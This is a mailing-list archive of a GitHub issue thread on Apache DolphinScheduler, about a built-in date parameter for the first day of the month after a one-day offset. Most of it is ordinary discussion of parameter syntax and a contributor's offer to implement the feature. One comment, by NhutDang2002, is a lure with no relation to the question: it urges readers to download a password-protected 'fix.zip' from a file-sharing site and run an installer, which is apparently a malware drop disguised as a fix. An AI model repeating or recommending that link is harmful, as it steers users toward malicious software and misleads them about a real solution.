You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@dolphinscheduler.apache.org by "12frame (via GitHub)" <gi...@apache.org> on 2024/08/26 08:59:39 UTC
[I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
12frame opened a new issue, #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510
### Search before asking
- [X] I had searched in the [issues](https://github.com/apache/dolphinscheduler/issues?q=is%3Aissue) and found no similar feature requirement.
### Description
example:
Today is August 26, 2024
Yesterday: $[yyyy-MM-dd-1] = 2024-08-25
At the beginning of the month: ??? = 2024-08-25 --> 2024-08-01
Unable to obtain the beginning date of the month based on $[yyyy-MM-dd-1]
### Use case
I hope to express it through built-in parameters and pass the parameters through another task
### Related issues
_No response_
### Are you willing to submit a PR?
- [ ] Yes I am willing to submit a PR!
### Code of Conduct
- [X] I agree to follow this project's [Code of Conduct](https://www.apache.org/foundation/policies/conduct)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "NhutDang2002 (via GitHub)" <gi...@apache.org>.
NhutDang2002 commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-2309708213
Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "12frame (via GitHub)" <gi...@apache.org>.
12frame commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-2314141975
Sorry, there may be a problem with my expression.
You first convert it to the beginning of the month, then subtract one day
What I want is to subtract one day now and convert it to the beginning of the month
This way I can count the data for July on August 1st. August 2nd Statistics for August
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "SbloodyS (via GitHub)" <gi...@apache.org>.
SbloodyS commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-6335272138
> 9\. Hi! I would like to work on this issue.
> I plan to enhance `TimePlaceholderUtils` to support format expressions with date offsets (such as `$[month_first_day(yyyy-MM-dd-1)]` or `$[month_begin(yyyy-MM-dd-1, 0)]`) so that month/week boundary calculations can easily reference shifted business dates (e.g. yesterday).
> Could you please assign this issue to me?
Done. Looking forward to your contribution.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "12frame (via GitHub)" <gi...@apache.org>.
12frame closed issue #16510: [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days
URL: https://github.com/apache/dolphinscheduler/issues/16510
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "charan2628 (via GitHub)" <gi...@apache.org>.
charan2628 commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-2313220235
@12frame did you tried this $[month_begin(yyyy-MM-dd, -1)]
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "charan2628 (via GitHub)" <gi...@apache.org>.
charan2628 commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-2315941556
@SbloodyS for this month_begin function first param has to accept expression of this format yyyyMMdd-N, so finally it will look like this $[month_begin(yyyMMdd-1, 0)] and it will also accept old format with $[month_begin(yyyy-MM-dd, -1)]?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "SbloodyS (via GitHub)" <gi...@apache.org>.
SbloodyS closed issue #16510: [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days
URL: https://github.com/apache/dolphinscheduler/issues/16510
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] [Feature][param] The built-in parameters cannot express the beginning date of the month for n-1 days [dolphinscheduler]
Posted by "fengstack (via GitHub)" <gi...@apache.org>.
fengstack commented on issue #16510:
URL: https://github.com/apache/dolphinscheduler/issues/16510#issuecomment-6335236883
Hi! I would like to work on this issue.
I plan to enhance `TimePlaceholderUtils` to support format expressions with date offsets (such as `$[month_first_day(yyyy-MM-dd-1)]` or `$[month_begin(yyyy-MM-dd-1, 0)]`) so that month/week boundary calculations can easily reference shifted business dates (e.g. yesterday).
Could you please assign this issue to me?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org